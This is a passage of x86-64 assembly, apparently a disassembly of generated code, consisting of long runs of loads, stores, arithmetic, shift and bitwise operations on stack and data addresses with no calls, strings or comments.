mov ecx, dword [rsp + 0x4f40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f8c], eax
lea rax, [rsp + 0x517c]
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x95b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0x9540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb728]
mov qword [rsp + 0xba10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba10]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa3b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8eb0]
movzx eax, word [rax]
mov word [0x1401e8d7c], ax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c7], al
movzx eax, word [rsp + 0x1244]
movzx ecx, word [rsp + 0x10b4]
or eax, ecx
mov word [rsp + 0x1000], ax
lea rax, [0x1401e708a]
mov qword [rsp + 0xba18], rax
mov rax, qword [rsp + 0xad28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9ff8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaec0]
mov rcx, qword [rsp + 0x8ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb0d8]
mov dword [rcx], eax
lea rax, [0x1401e7028]
mov qword [rsp + 0xba20], rax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x513c]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x52c8], eax
lea rax, [rsp + 0x9790]
mov qword [rsp + 0xba28], rax
movsx eax, byte [rsp + 0x1c4]
movsx ecx, byte [0x1401e7027]
and eax, ecx
mov byte [0x1401e709e], al
movzx eax, word [rsp + 0x1198]
movzx ecx, word [rsp + 0x10c8]
add eax, ecx
mov word [rsp + 0x11bc], ax
movzx eax, byte [rsp + 0x19c]
mov rcx, qword [0x1401e8938]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x195], al
lea rax, [rsp + 0x14dc]
mov qword [rsp + 0xba30], rax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x12c4]
sub eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov qword [rsp + 0xba38], rax
mov eax, dword [rsp + 0x4e58]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9810]
mov dword [rcx], eax
lea rax, [rsp + 0x51c8]
mov qword [rsp + 0xba40], rax
mov rax, qword [rsp + 0xb5a0]
mov rcx, qword [rsp + 0x9e28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8b0], rax
mov rax, qword [rsp + 0xaf58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
sub eax, ecx
mov byte [0x1401e87a3], al
mov rax, qword [rsp + 0xb830]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov rcx, qword [rsp + 0xba30]
mov word [rcx], ax
lea rax, [rsp + 0x76]
mov qword [rsp + 0xba48], rax
movsx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0xa9f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x9570]
movzx eax, word [rax]
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c90]
mov qword [rsp + 0xba50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x9818]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ec4]
sar eax, cl
mov dword [rsp + 0x516c], eax
lea rax, [rsp + 0x9438]
mov qword [rsp + 0xba58], rax
mov rax, qword [rsp + 0x9840]
mov rcx, qword [rsp + 0xaf00]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0xa150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xba48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e7083], al
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
mov word [rsp + 0x1534], ax
movsx eax, word [rsp + 0x150c]
mov rcx, qword [rsp + 0xabb8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa5b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x97a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb218]
mov byte [rcx], al
lea rax, [rsp + 0x1a7]
mov qword [rsp + 0xba60], rax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x9048]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0x94c8]
mov rax, qword [rax]
mov qword [rsp + 0xba68], rax
mov rax, qword [rsp + 0xa788]
mov ecx, dword [rsp + 0x500c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f04], eax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov dword [rsp + 0x530c], eax
mov rax, qword [rsp + 0xa938]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x9868]
mov byte [rcx], al
lea rax, [rsp + 0x130c]
mov qword [0x1401e8d80], rax
movsx eax, word [rsp + 0x12a4]
movsx ecx, word [0x1401e7104]
add eax, ecx
mov rcx, qword [rsp + 0x9d68]
mov word [rcx], ax
lea rax, [rsp + 0x174]
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xa438]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x124], al
lea rax, [rsp + 0xb5a0]
mov qword [rsp + 0xba78], rax
mov eax, dword [rsp + 0x5028]
mov ecx, dword [rsp + 0x4e98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f08], eax
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xa0e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb7d8]
mov qword [rcx], rax
lea rax, [rsp + 0x4fe8]
mov qword [rsp + 0xba80], rax
mov rax, qword [0x1401e8b70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9590]
mov word [rcx], ax
mov rax, qword [rsp + 0xa6e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb030]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8a20]
mov byte [rcx], al
lea rax, [rsp + 0x13ac]
mov qword [rsp + 0xba88], rax
movsx eax, word [0x1401e8ba0]
movsx ecx, word [rsp + 0x12d8]
or eax, ecx
mov word [rsp + 0x1144], ax
movzx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa0f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f94]
mov dword [rsp + 0x5310], eax
mov rax, qword [rsp + 0xb650]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9e40]
shl rax, cl
mov qword [rsp + 0x9ea0], rax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0xba90], rax
mov rax, qword [rsp + 0xa9c0]
mov rcx, qword [rsp + 0xaed0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0xaf10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1408]
and eax, ecx
mov word [rsp + 0x1318], ax
movsx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0xa218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e709f], al
lea rax, [0x1401e7020]
mov qword [rsp + 0xba98], rax
movzx eax, byte [rsp + 0xc6]
mov rcx, qword [rsp + 0x9560]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x1c8], al
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov dword [rcx], eax
lea rax, [rsp + 0x5018]
mov qword [rsp + 0xbaa0], rax
mov rax, qword [rsp + 0xa8b8]
mov rcx, qword [rsp + 0x9120]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa278]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0xad30]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb5f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0x9090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e8940], ax
mov rax, qword [rsp + 0x9fd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov byte [rsp + 0xb0], al
lea rax, [rsp + 0x1258]
mov qword [rsp + 0xbaa8], rax
mov rax, qword [rsp + 0xac58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9288]
mov byte [rcx], al
mov rax, qword [rsp + 0x9938]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13f0], ax
lea rax, [rsp + 0x90b8]
mov qword [rsp + 0xbab0], rax
mov rax, qword [rsp + 0x9118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ec8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x52fc], eax
mov rax, qword [rsp + 0xb348]
mov qword [rsp + 0xbab8], rax
mov rax, qword [rsp + 0x9e50]
mov ecx, dword [rsp + 0x4eb4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4fa4], eax
mov rax, qword [rsp + 0xb918]
movzx eax, word [rax]
mov word [0x1401e8d88], ax
mov rax, qword [0x1401e89d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb968]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11b], al
lea rax, [rsp + 0xcc]
mov qword [rsp + 0xbac0], rax
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1444]
and eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9c0]
movzx eax, word [rax]
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xb020]
mov rcx, qword [rsp + 0xb208]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa858], rax
mov rax, qword [rsp + 0x93a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaed0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaee8], rax
mov eax, dword [section..data]
mov dword [rsp + 0x5314], eax
mov rax, qword [rsp + 0xb248]
mov ecx, dword [rsp + 0x513c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51c8], eax
lea rax, [rsp + 0x1bc]
mov qword [0x1401e8d90], rax
lea rax, [rsp + 0x118c]
mov qword [rsp + 0xbac8], rax
movzx eax, word [0x1401e70a8]
movzx ecx, word [rsp + 0x1138]
add eax, ecx
mov word [rsp + 0x11d4], ax
lea rax, [rsp + 0xba]
mov qword [rsp + 0xbad0], rax
movzx eax, byte [rsp + 0xbe]
movzx ecx, byte [rsp + 0xe7]
and eax, ecx
mov rcx, qword [rsp + 0xa2a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb388]
mov ecx, dword [rsp + 0x4f54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9080]
mov rax, qword [rax]
mov qword [rsp + 0xbad8], rax
mov rax, qword [rsp + 0xba58]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b80], rax
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0xbae0], rax
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
add eax, ecx
mov byte [0x1401e7077], al
movsx eax, byte [rsp + 0x11a]
movsx ecx, byte [rsp + 0x199]
add eax, ecx
mov rcx, qword [rsp + 0x8e38]
mov byte [rcx], al
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [rsp + 0x12f]
shl eax, cl
mov rcx, qword [rsp + 0x93f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9bb8]
movzx eax, word [rax]
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xb018]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e4]
or eax, ecx
mov word [rsp + 0x1170], ax
lea rax, [rsp + 0xb970]
mov qword [rsp + 0xbae8], rax
mov rax, qword [rsp + 0x94a8]
movzx ecx, al
mov rax, qword [rsp + 0x8e30]
shr rax, cl
mov qword [rsp + 0xb470], rax
mov eax, dword [rsp + 0x504c]
mov ecx, dword [rsp + 0x4ff0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x50b4], eax
lea rax, [rsp + 0x5238]
mov qword [rsp + 0xbaf0], rax
movzx eax, byte [rsp + 0x11f]
mov rcx, qword [rsp + 0x9518]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e7082], al
mov rax, qword [rsp + 0xa360]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaef8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
lea rax, [rsp + 0x123c]
mov qword [rsp + 0xbaf8], rax
mov rax, qword [rsp + 0xa2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1034], ax
mov rax, qword [0x1401e8b40]
movzx eax, byte [rax]
mov byte [rsp + 0x1c9], al
mov rax, qword [rsp + 0x9840]
mov ecx, dword [rsp + 0x4f80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5290], eax
mov rax, qword [rsp + 0x9088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b98], rax
mov eax, dword [rsp + 0x5164]
mov dword [rsp + 0x5318], eax
mov rax, qword [rsp + 0xb850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9960]
mov qword [rcx], rax
movsx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7150], ax
movzx eax, byte [0x1401e707f]
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0x9f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1184], ax
movsx eax, word [rsp + 0x12f4]
mov rcx, qword [0x1401e8ae0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9470]
mov word [rcx], ax
lea rax, [rsp + 0xe1]
mov qword [rsp + 0xbb00], rax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xa2e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb398]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9758]
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xb710]
mov rcx, qword [rsp + 0x9018]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff0], rax
mov eax, dword [rsp + 0x4f6c]
mov rcx, qword [rsp + 0xa790]
mov qword [rsp + 0xbb10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xaf00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1018]
movzx ecx, word [rsp + 0x11b0]
xor eax, ecx
mov rcx, qword [0x1401e8d00]
mov word [rcx], ax
movzx eax, word [rsp + 0x13a8]
mov word [rsp + 0x1544], ax
movsx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x8e00]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x18e], al
lea rax, [rsp + 0x149]
mov qword [rsp + 0xbb18], rax
mov rax, qword [0x1401e8c98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x17b], al
mov rax, qword [rsp + 0xa1e8]
mov rcx, qword [rsp + 0xa8d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x98a0]
mov qword [rcx], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xbb20], rax
mov rax, qword [rsp + 0x9d40]
mov rcx, qword [rsp + 0xab40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0xab80]
mov rax, qword [rax]
mov qword [rsp + 0xbb28], rax
lea rax, [rsp + 0x173]
mov qword [0x1401e8d98], rax
movsx eax, byte [rsp + 0x128]
movsx ecx, byte [rsp + 0x18e]
sub eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x9eb0]
movzx eax, word [rax]
mov word [rsp + 0x1548], ax
movzx eax, word [rsp + 0x126c]
mov rcx, qword [rsp + 0x9e80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1478], ax
movzx eax, word [rsp + 0x102c]
mov rcx, qword [rsp + 0xa1f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa878]
mov word [rcx], ax
lea rax, [rsp + 0x507c]
mov qword [rsp + 0xbb30], rax
mov rax, qword [rsp + 0x98a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb708]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0x90f0]
mov rax, qword [rax]
mov qword [rsp + 0xbb38], rax
mov rax, qword [rsp + 0xa880]
mov ecx, dword [rsp + 0x5034]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5018], eax
mov rax, qword [rsp + 0x9eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11cc]
sub eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov word [rcx], ax
mov rax, qword [rsp + 0xa298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc3]
sar eax, cl
mov rcx, qword [0x1401e8d38]
mov byte [rcx], al
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0xbb40], rax
mov rax, qword [rsp + 0xbaa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10c4]
xor eax, ecx
mov rcx, qword [rsp + 0xae08]
mov word [rcx], ax
lea rax, [rsp + 0x1100]
mov qword [rsp + 0xbb48], rax
mov rax, qword [rsp + 0xb198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9630]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9440], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x52bc]
shl eax, cl
mov dword [rsp + 0x52a4], eax
lea rax, [rsp + 0x52a0]
mov qword [rsp + 0xbb50], rax
mov rax, qword [rsp + 0xbae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb638]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b48], rax
movzx eax, byte [rsp + 0x1c0]
mov byte [rsp + 0x1cb], al
lea rax, [rsp + 0x165]
mov qword [0x1401e8da0], rax
mov rax, qword [rsp + 0xb6d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ec0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
lea rax, [rsp + 0x11ac]
mov qword [rsp + 0xbb58], rax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0xa568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0x9178]
mov ecx, dword [rsp + 0x50ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e7c], eax
lea rax, [rsp + 0x90b8]
mov qword [rsp + 0xbb60], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xb860]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
lea rax, [rsp + 0x5118]
mov qword [rsp + 0xbb68], rax
movsx eax, word [rsp + 0x11a8]
movsx ecx, word [rsp + 0x10e4]
add eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov word [rcx], ax
movsx eax, byte [0x1401e8796]
movsx ecx, byte [rsp + 0x18b]
sub eax, ecx
mov rcx, qword [0x1401e8c98]
mov byte [rcx], al
mov rax, qword [rsp + 0xae50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb828]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb48]
mov word [rcx], ax
lea rax, [rsp + 0x112]
mov qword [rsp + 0xbb70], rax
movzx eax, word [0x1401e7050]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14ac], ax
lea rax, [rsp + 0x4f90]
mov qword [rsp + 0xbb78], rax
mov rax, qword [rsp + 0xb198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0xad30]
mov qword [rsp + 0xbb80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb80]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9468], rax
mov eax, dword [rsp + 0x4e60]
mov dword [rsp + 0x531c], eax
mov rax, qword [rsp + 0xb6d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb1]
or eax, ecx
mov rcx, qword [rsp + 0xa540]
mov byte [rcx], al
lea rax, [rsp + 0x1048]
mov qword [0x1401e8da8], rax
lea rax, [rsp + 0x1050]
mov qword [rsp + 0xbb88], rax
mov rax, qword [rsp + 0xb190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e80]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12b0], ax
movsx eax, byte [rsp + 0x1af]
movsx ecx, byte [rsp + 0x12f]
xor eax, ecx
mov byte [rsp + 0x79], al
movzx eax, word [rsp + 0x14d0]
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0x9880]
mov rcx, qword [rsp + 0x9cd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb5f0]
mov qword [rcx], rax
lea rax, [rsp + 0x4eb8]
mov qword [rsp + 0xbb90], rax
mov rax, qword [rsp + 0x92a8]
mov rcx, qword [rsp + 0xabd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa60], rax
mov eax, dword [rsp + 0x5304]
mov dword [rsp + 0x5320], eax
movzx eax, word [rsp + 0x1004]
mov rcx, qword [0x1401e87d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7154], ax
movsx eax, byte [rsp + 0xa3]
movsx ecx, byte [rsp + 0x152]
sub eax, ecx
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8da0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
movzx eax, word [rsp + 0x1088]
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x163]
sub eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0xb238]
mov rax, qword [rax]
mov qword [rsp + 0xbb98], rax
mov eax, dword [rsp + 0x52b8]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50a0], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa158], rax
mov rax, qword [rsp + 0xaaa8]
mov eax, dword [rax]
mov dword [rsp + 0x5324], eax
mov rax, qword [rsp + 0xab50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13b]
sub eax, ecx
mov byte [0x1401e7026], al
mov rax, qword [rsp + 0xa8a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbac8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0xae40]
movzx eax, byte [rax]
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0xa3e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x86]
add eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0xb0e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1174]
shl eax, cl
mov rcx, qword [rsp + 0xa958]
mov word [rcx], ax
lea rax, [0x1401e7008]
mov qword [rsp + 0xbba0], rax
mov eax, dword [rsp + 0x51b8]
mov rcx, qword [rsp + 0x9140]
mov qword [rsp + 0xbba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbba8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0xb7a0]
mov rax, qword [rax]
mov qword [rsp + 0xbbb0], rax
mov rax, qword [rsp + 0xa408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabd8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4b8], rax
mov rax, qword [rsp + 0x91a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xed]
xor eax, ecx
mov rcx, qword [0x1401e8b48]
mov byte [rcx], al
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x92d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1054], ax
lea rax, [0x1401e7094]
mov qword [rsp + 0xbbb8], rax
movzx eax, byte [rsp + 0x16b]
movzx ecx, byte [rsp + 0x17a]
add eax, ecx
mov byte [rsp + 0x188], al
movzx eax, word [rsp + 0x1350]
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0x9a60]
mov rcx, qword [rsp + 0x8e98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f98], rax
mov eax, dword [rsp + 0x50d8]
mov dword [rsp + 0x5328], eax
mov rax, qword [rsp + 0x8e68]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xba20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef8], eax
movzx eax, word [rsp + 0x112c]
mov word [0x1401e8db0], ax
lea rax, [rsp + 0x184]
mov qword [rsp + 0xbbc0], rax
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1268], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xbbc8], rax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb178]
mov byte [rcx], al
mov rax, qword [rsp + 0xab90]
mov ecx, dword [rsp + 0x5104]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa930]
mov rax, qword [rax]
mov qword [rsp + 0xbbd0], rax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0xad58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8da0]
mov qword [rcx], rax
lea rax, [rsp + 0x5120]
mov qword [rsp + 0xbbd8], rax
movzx eax, word [rsp + 0x10f8]
movzx ecx, word [rsp + 0x1208]
sar eax, cl
mov rcx, qword [0x1401e8a68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0xaef8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa1f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1108]
movsx ecx, word [rsp + 0x129c]
or eax, ecx
mov word [rsp + 0x1218], ax
lea rax, [rsp + 0xa2]
mov qword [rsp + 0xbbe0], rax
movsx eax, word [rsp + 0x1458]
movsx ecx, word [rsp + 0x1088]
shl eax, cl
mov rcx, qword [rsp + 0xb380]
mov word [rcx], ax
mov eax, dword [rsp + 0x4ecc]
